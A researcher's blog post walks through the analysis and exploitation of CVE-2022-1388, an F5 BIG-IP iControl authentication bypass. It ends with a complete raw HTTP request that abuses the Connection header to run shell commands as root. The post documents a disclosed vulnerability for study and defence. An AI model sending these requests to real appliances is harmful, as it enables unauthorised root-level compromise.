How I could exploit the CVE-2022-1388, F5 BIG IP iControl Authentication bypass to RCE

Introduction

In a cyber security world there are a lots of CVEs discovered and coming out daily. Many of CVEs don’t have a corresponding exploit code. One of the hunting methodology is to do a research on famous CVEs and write the exploit code (I also think the red teams do the same for their companies) to reach some vulnerabilities and bounties. When the CVE-2022-1388 came out, I was interested in order to exploit the flaw because it’s a famous product, and I had also researched on a similar vulnerability on f5 before. In this blog post I will show my path of analysis and exploitation.

Analysis

According to this link: On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication.

The following diagram shows the authentication flow in F5 iControl REST API. Also, F5 implants a custom apache module (mod_auth_pam) to check authentication before sending the request to iControl on port 8100.

Let me describe the flow above, in the beginning when HTTP request reaches the Apache, it checks if X-F5-Auth-Token is present or not. If there is no token, the Apache will handle the authentication which is safe (The green part in the left side of the image). In the other way, it passes the full HTTP request including the X-F5-Auth-Token to the Jetty. Jetty securely validates the token (The green part in the right side of the image). There is an orange part in the image which is the vulnerable path. How an attacker can craft an HTTP request to reach the orange part? If you’re interested in the answer, read the rest of the blog post, or you can think by yourself to solve the program.

I started the analysis by decompiling the iControl application (It’s a Java program). iControl is a REST API to manage the F5, it listens on port 8100. Apache implements a reverse proxy which passes all requests to iControl application:

Apache Reverse Proxy
^/mgmt/*$ -> localhost:8100 (iControl)

In iControl, the X-F5-Auth-Token is validated. However, if there is no X-F5-Auth-Token, The flowing block code will be executed:

Then if the token is not present, the flowing code will be executed:

If the authentication header is present, ONLY the username will be validated and authentication will be complete, It’s obviously shown in the image:

In the terms of checking HTTP request, I’ve seen two versions of iControl. In the first one, it does not matter if the request is came from localhost or not, in some other, there is a check based on the the X-Forwarded-Host. Sadly, In the affected version, an attacker can overwrite the X-Forwarded-Host header just by setting host header to localhost, the code:

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
     String authHeader = request.getBasicAuthorization();
     if (authHeader == null) {
       return false;
     }
    AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
    request.setIdentityData(components.userName, null, null);
    final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
    String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
    if (xForwardedHostHeaderValue == null) {
      request.setIdentityData(components.userName, null, null);
      if (runnable != null) {
        runnable.run();
      }
      return true;
    }
    String[] valueList = xForwardedHostHeaderValue.split(", ");
    int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;
    if (valueList[valueIdx].contains("localhost") || valueList[valueIdx].contains("127.0.0.1")) {
      request.setIdentityData(components.userName, null, null);
      if (runnable != null) {
        runnable.run();
      }
      return true;
    }
}

The packet which overwrite the X-Forwarded-Host is:

POST /tm/util/bash HTTP/1.1
Host: localhost
X-Forwarded-Host: 127.0.0.1
Authorization: Basic YWRtaW46
User-Agent: curl/7.74.0
Accept: */*
Content-Type: application/json
Content-Length: 45

{"command": "run" , "utilCmdArgs": " -c id" }

Also in the previous vulnerability analysis, it was documented that local requests to iControl endpoints don’t require a password:

curl -su admin: -H "Content-Type: application/json" "http://localhost:8100/mgmt/tm/util/bash" -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .
{
  "kind": "tm:util:bash:runstate",
  "command": "run",
  "utilCmdArgs": "-c id",
  "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0n"
}

However, if we do not provide X-F5-Auth-Token, the authentication will be failed due to the Apache mod_auth_pam.

If we provide it with an invalid value, the Apache will forward the request to the backend but iControl will see there is an X-F5-Auth-Token so authentication will be failed again because we provide an invalid token.

Consequently, we have to send X-F5-Auth-Token to the Apache and somehow, trick it to forward the request without the X-F5-Auth-Token header. How is it possible?

Fail attempts with HRS

The first idea came across my mind was conducting HTTP request smuggling attack, if I could smuggle the HTTP request, I would bypass the authentication. Since the jetty server was too old, some known vulnerabilities took my attention, I also found a great blog post. Despite I put much effort here, I failed to exploit the hole.

Abusing HTTP hop-by-hop headers to bypass apache mod_auth_pam authentication check

After several attempts with HRS, I looked at the patch again and started thinking. The patch (which is not a real patch) was to configure the Apache:

Here are three conditions :

  1. The Connection header includes keep-alive -> it will set the header to Connection: keep-alive
  2. The connection header includes close -> it will set the header to Connection: close
  3. If it is something else -> it will set the header to Connection: close

This patch made me think why they acted like this, I started searching about reverse proxies and I finally reached an amazing blog post which was a great lead, as the blog says:

A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header, which is designed to be present in the request all the way through to the end of the request. According to RFC 2612, the HTTP/1.1 spec treats the following headers as hop-by-hop by default: Keep-AliveTransfer-EncodingTEConnectionTrailerUpgradeProxy-Authorization and Proxy-Authenticate. When encountering these headers in a request, a compliant proxy should process or action whatever it is these headers are indicating, and not forward them on to the next hop.

Further to these defaults, a request may also define a custom set of headers to be treated as hop-by-hop by adding them to the Connection header, like so:

Connection: close, X-Foo, X-Bar

In this example, we’re asking the proxy to treat X-Foo and X-Bar as hop-by-hop, meaning we want a proxy to remove them from the request before passing the request on.

Did you find the vulnerability?

If we provide X-F5-Auth-Token and Connection: close, X-F5-Auth-Token in the HTTP request, we pass the check-in mod_auth_pam, because we provide a X-F5-Auth-Token header, but we force Apache to eliminate the X-F5-Auth-Token

Based on the above research, I could bypass apache mod_auth_pam and the authentication.

Putting it all together

  1. Set the Connection header to X-F5-Auth-Token to bypass apache authentication
  2. Set Authentication header to admin:anything
  3. In some versions, you have to set Host header to localhost or 127.0.0.1 to bypass the validation in setIdentityFromBasicAuth
  4. Jetty will see a request that does not contain X-F5-Auth-Token but has an authentication header, also has a X-Forwarded-Host header valued by localhost
  5. The username part of the authentication header will make authentication successful

The HTTP packet:

POST /mgmt/tm/util/bash HTTP/1.1
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: X-F5-Auth-Token
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: a
Content-Type: application/json
Content-Length: 86

{"command": "run", "utilCmdArgs": "-c id"}

Once I succeeded exploiting the hole, I made a tweet to share my result, and I decided to write a blog post about it, I hope you find it useful, thank you.

Leave a Reply

Your email address will not be published.